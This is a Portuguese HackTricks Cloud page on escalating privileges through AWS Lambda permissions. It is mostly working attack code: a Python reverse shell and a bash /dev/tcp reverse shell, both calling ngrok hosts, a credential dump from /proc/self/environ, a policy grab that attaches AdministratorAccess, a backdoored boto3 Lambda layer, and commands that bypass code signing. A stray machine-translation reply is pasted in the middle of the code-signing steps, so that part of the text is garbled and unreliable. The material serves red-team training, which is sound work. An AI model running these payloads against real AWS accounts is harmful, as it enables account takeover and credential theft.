AWS - Lambda Privesc
Reading time: 14 minutes
tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:
HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
lambda
Mais informações sobre lambda em:
iam:PassRole, lambda:CreateFunction, (lambda:InvokeFunction | lambda:InvokeFunctionUrl)
Usuários com as permissões iam:PassRole, lambda:CreateFunction e lambda:InvokeFunction podem escalar seus privilégios.
Eles podem criar uma nova função Lambda e atribuir a ela um IAM role existente, concedendo à função as permissões associadas a esse role. O usuário pode então escrever e enviar (upload) o código para essa função Lambda (por exemplo, com um rev shell).
Uma vez que a função esteja configurada, o usuário pode acionar sua execução e as ações desejadas invocando a função Lambda através da API AWS. Essa abordagem permite ao usuário executar tarefas indiretamente através da função Lambda, operando com o nível de acesso concedido ao IAM role associado a ela.\
Um atacante poderia abusar disso para obter um rev shell e roubar o token:
import socket,subprocess,os,time
def lambda_handler(event, context):
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(('4.tcp.ngrok.io',14305))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(['/bin/sh','-i'])
time.sleep(900)
return 0
# Zip the rev shell
zip "rev.zip" "rev.py"
# Create the function
aws lambda create-function --function-name my_function \
--runtime python3.9 --role <arn_of_lambda_role> \
--handler rev.lambda_handler --zip-file fileb://rev.zip
# Invoke the function
aws lambda invoke --function-name my_function output.txt
## If you have the lambda:InvokeFunctionUrl permission you need to expose the lambda inan URL and execute it via the URL
# List roles
aws iam list-attached-user-policies --user-name <user-name>
Você também poderia abuse the lambda role permissions a partir da própria função lambda.
Se a lambda role tivesse permissions suficientes, você poderia usá-la para grant admin rights a você:
import boto3
def lambda_handler(event, context):
client = boto3.client('iam')
response = client.attach_user_policy(
UserName='my_username',
PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
)
return response
Também é possível leak as credenciais da role da lambda sem precisar de uma conexão externa. Isso seria útil para Network isolated Lambdas usadas em tarefas internas. Se existirem security groups desconhecidos filtrando seus reverse shells, este trecho de código permitirá que você faça o leak das credenciais diretamente como a saída da lambda.
def handler(event, context):
sessiontoken = open('/proc/self/environ', "r").read()
return {
'statusCode': 200,
'session': str(sessiontoken)
}
aws lambda invoke --function-name <lambda_name> output.txt
cat output.txt
Impacto Potencial: Privesc direto para a função de serviço lambda arbitrária especificada.
caution
Observe que, mesmo que possa parecer interessante, lambda:InvokeAsync não permite por si só executar aws lambda invoke-async, você também precisa de lambda:InvokeFunction
iam:PassRole, lambda:CreateFunction, lambda:AddPermission
Como no cenário anterior, você pode conceder a si mesmo a permissão lambda:InvokeFunction se tiver a permissão lambda:AddPermission
# Check the previous exploit and use the following line to grant you the invoke permissions
aws --profile "$NON_PRIV_PROFILE_USER" lambda add-permission --function-name my_function \
--action lambda:InvokeFunction --statement-id statement_privesc --principal "$NON_PRIV_PROFILE_USER_ARN"
Impacto Potencial: Privesc direto para a lambda service role arbitrária especificada.
iam:PassRole, lambda:CreateFunction, lambda:CreateEventSourceMapping
Usuários com permissões iam:PassRole, lambda:CreateFunction, and lambda:CreateEventSourceMapping (e potencialmente dynamodb:PutItem e dynamodb:CreateTable) podem indiretamente escalar privilégios mesmo sem lambda:InvokeFunction.
Eles podem criar uma Lambda function com código malicioso e atribuí-la a um IAM role existente.
Em vez de invocar o Lambda diretamente, o usuário configura ou utiliza uma tabela DynamoDB existente, vinculando-a ao Lambda através de um event source mapping. Essa configuração garante que a Lambda function seja disparada automaticamente quando um novo item for inserido na tabela, seja pela ação do usuário ou por outro processo, invocando indiretamente a Lambda function e executando o código com as permissões do IAM role passado.
aws lambda create-function --function-name my_function \
--runtime python3.8 --role <arn_of_lambda_role> \
--handler lambda_function.lambda_handler \
--zip-file fileb://rev.zip
Se o DynamoDB já estiver ativo no ambiente AWS, o usuário apenas precisa estabelecer o mapeamento de origem de eventos para a função Lambda. No entanto, se o DynamoDB não estiver em uso, o usuário deve criar uma nova tabela com streaming habilitado:
aws dynamodb create-table --table-name my_table \
--attribute-definitions AttributeName=Test,AttributeType=S \
--key-schema AttributeName=Test,KeyType=HASH \
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES
Agora é possível conectar a Lambda function à DynamoDB table ao criar um event source mapping:
aws lambda create-event-source-mapping --function-name my_function \
--event-source-arn <arn_of_dynamodb_table_stream> \
--enabled --starting-position LATEST
Com a função Lambda vinculada ao DynamoDB stream, o attacker pode indiretamente acionar a Lambda ativando o DynamoDB stream. Isso pode ser realizado inserindo um item na tabela DynamoDB:
aws dynamodb put-item --table-name my_table \
--item Test={S="Random string"}
Impacto Potencial: Privesc direto para a função de serviço do lambda especificada.
lambda:AddPermission
Um atacante com essa permissão pode conceder a si mesmo (ou a outros) quaisquer permissões (isso gera políticas baseadas em recursos para conceder acesso ao recurso):
# Give yourself all permissions (you could specify granular such as lambda:InvokeFunction or lambda:UpdateFunctionCode)
aws lambda add-permission --function-name <func_name> --statement-id asdasd --action '*' --principal arn:<your user arn>
# Invoke the function
aws lambda invoke --function-name <func_name> /tmp/outout
Impacto Potencial: Escalada direta de privilégios para a role de serviço do lambda ao conceder permissão para modificar o código e executá-lo.
lambda:AddLayerVersionPermission
Um atacante com essa permissão pode conceder a si mesmo (ou a outros) a permissão lambda:GetLayerVersion. Ele poderia acessar a layer e procurar por vulnerabilidades ou informações sensíveis
# Give everyone the permission lambda:GetLayerVersion
aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion
Impacto Potencial: Acesso potencial a informações sensíveis.
lambda:UpdateFunctionCode
Usuários que possuem a permissão lambda:UpdateFunctionCode têm o potencial de modificar o código de uma Lambda function existente que está vinculada a um IAM role.
O atacante pode modificar o código da lambda para exfiltrar as IAM credentials.
Apesar de o atacante talvez não ter a capacidade direta de invocar a função, se a Lambda function já existir e estiver operacional, é provável que ela seja acionada por fluxos de trabalho ou eventos existentes, facilitando assim indiretamente a execução do código modificado.
# The zip should contain the lambda code (trick: Download the current one and add your code there)
aws lambda update-function-code --function-name target_function \
--zip-file fileb:///my/lambda/code/zipped.zip
# If you have invoke permissions:
aws lambda invoke --function-name my_function output.txt
# If not check if it's exposed in any URL or via an API gateway you could access
Impacto Potencial: Privesc direto para a lambda service role usada.
lambda:UpdateFunctionConfiguration
RCE via env variables
Com essas permissões é possível adicionar environment variables que farão a Lambda executar código arbitrário. Por exemplo, em python é possível abusar das environment variables PYTHONWARNING e BROWSER para fazer um processo python executar comandos arbitrários:
aws --profile none-priv lambda update-function-configuration --function-name <func-name> --environment "Variables={PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=\"/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18755 0>&1' & #%s\"}"
Para outras linguagens de script existem outras env variables que você pode usar. Para mais informações, consulte as subseções de linguagens de script em:
macOS Process Abuse - HackTricks
RCE através de Lambda Layers
Lambda Layers permite incluir code na sua função Lambda, mas armazenando-o separadamente, assim o code da função pode permanecer pequeno e várias funções podem compartilhar code.
Dentro do Lambda, você pode verificar os caminhos de onde o python carrega o code usando uma função como a seguinte:
import json
import sys
def lambda_handler(event, context):
print(json.dumps(sys.path, indent=2))
Estes são os locais:
- /var/task
- /opt/python/lib/python3.7/site-packages
- /opt/python
- /var/runtime
- /var/lang/lib/python37.zip
- /var/lang/lib/python3.7
- /var/lang/lib/python3.7/lib-dynload
- /var/lang/lib/python3.7/site-packages
- /opt/python/lib/python3.7/site-packages
- /opt/python
Por exemplo, a biblioteca boto3 é carregada de /var/runtime/boto3 (4ª posição).
Exploitation
É possível abusar da permissão lambda:UpdateFunctionConfiguration para add a new layer a uma função lambda. Para executar código arbitrário, essa layer precisa conter alguma library that the lambda is going to import. Se você puder ler o código da lambda, pode encontrar isso facilmente; note também que pode ser possível que a lambda esteja already using a layer e que você poderia download a layer e add your code lá dentro.
Por exemplo, suponha que a lambda esteja usando a biblioteca boto3; isso criará uma layer local com a última versão da biblioteca:
pip3 install -t ./lambda_layer boto3
Você pode abrir ./lambda_layer/boto3/__init__.py e adicionar a backdoor no código global (uma função para exfiltrate credentials ou obter um reverse shell, por exemplo).
Em seguida, compacte o diretório ./lambda_layer em um zip e faça o upload da nova lambda layer na sua própria conta (ou na conta da vítima, mas você pode não ter permissões para isso).
Observe que você precisa criar uma pasta python e colocar as bibliotecas nela para sobrescrever /opt/python/boto3. Além disso, a layer precisa ser compatible with the python version usada pela lambda e, se você fizer o upload para sua conta, ela precisa estar na mesma região:
aws lambda publish-layer-version --layer-name "boto3" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"
Agora, torne a lambda layer enviada acessível por qualquer conta:
aws lambda add-layer-version-permission --layer-name boto3 \
--version-number 1 --statement-id public \
--action lambda:GetLayerVersion --principal *
E anexe a lambda layer à victim lambda function:
aws lambda update-function-configuration \
--function-name <func-name> \
--layers arn:aws:lambda:<region>:<attacker-account-id>:layer:boto3:1 \
--timeout 300 #5min for rev shells
O próximo passo seria ou invocar a função nós mesmos, se pudermos, ou esperar até que ela seja invocada por meios normais — o que é o método mais seguro.
Uma forma mais furtiva de explorar essa vulnerabilidade pode ser encontrada em:
AWS - Lambda Layers Persistence
Impacto Potencial: Privesc direto para a role de serviço do lambda usada.
iam:PassRole, lambda:CreateFunction, lambda:CreateFunctionUrlConfig, lambda:InvokeFunctionUrl
Talvez com essas permissões você consiga criar uma função e executá-la chamando a URL... mas eu não consegui encontrar uma forma de testá-la, então me avise se você conseguir!
Lambda MitM
Algumas lambdas vão receber informações sensíveis dos usuários nos parâmetros. Se conseguir RCE em uma delas, você pode exfiltrate as informações que outros usuários estão enviando para ela; veja em:
Referências
- https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/
- https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/
lambda:DeleteFunctionCodeSigningConfig or lambda:PutFunctionCodeSigningConfig + lambda:UpdateFunctionCode — Bypass Lambda Code Signing
Se uma função Lambda impõe code signing, um atacante que puder remover o Code Signing Config (CSC) ou rebaixá-lo para Warn pode implantar código não assinado na função. Isso contorna as proteções de integridade sem modificar a IAM role da função ou seus triggers.
Permissões (uma das):
- Path A:
lambda:DeleteFunctionCodeSigningConfig,lambda:UpdateFunctionCode - Path B:
lambda:CreateCodeSigningConfig,lambda:PutFunctionCodeSigningConfig,lambda:UpdateFunctionCode
Observações:
- Para o Path B, você não precisa de um AWS Signer profile se a política do CSC estiver definida como
WARN(unsigned artifacts allowed).
Passos (REGION=us-east-1, TARGET_FN=
Prepare um pequeno payload:
cat > handler.py <<'PY'
import os, json
def lambda_handler(event, context):
return {"pwn": True, "env": list(os.environ)[:6]}
PY
zip backdoor.zip handler.py
Caminho A) Remover o CSC e em seguida atualizar o código:
aws lambda get-function-code-signing-config --function-name $TARGET_FN --region $REGION && HAS_CSC=1 || HAS_CSC=0
if [ "$HAS_CSC" -eq 1 ]; then
aws lambda delete-function-code-signing-config --function-name $TARGET_FN --region $REGION
fi
aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://backdoor.zip --region $REGION
# If the handler name changed, also run:
aws lambda update-function-configuration --function-name $TARGET_FN --handler handler.lambda_handler --region $REGION
Caminho B) Rebaixar para Warn e atualizar o código (se delete não for permitido):
CSC_ARN=$(aws lambda create-code-signing-config \
--description ht-warn-csc \
--code-signing-policies UntrustedArtifactOnDeployment=WARN \
--query CodeSigningConfig.CodeSigningConfigArn --output text --region $REGION)
aws lambda put-function-code-signing-config --function-name $TARGET_FN --code-signing-config-arn $CSC_ARN --region $REGION
aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://backdoor.zip --region $REGION
# If the handler name changed, also run:
aws lambda update-function-configuration --function-name $TARGET_FN --handler handler.lambda_handler --region $REGION
Confirmado. Posso traduzir o conteúdo para Português mantendo exatamente a mesma sintaxe Markdown/HTML e sem traduzir código, nomes de plataformas, links, paths ou tags especificadas. Cole aqui o conteúdo do arquivo README.md que deseja traduzir.
aws lambda invoke --function-name $TARGET_FN /tmp/out.json --region $REGION >/dev/null
cat /tmp/out.json
Impacto potencial: Capacidade de enviar e executar código arbitrário não assinado em uma função que deveria impor implantações assinadas, potencialmente levando à execução de código com as permissões da role da função.
Limpeza:
aws lambda delete-function-code-signing-config --function-name $TARGET_FN --region $REGION || true
tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:
HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
HackTricks Cloud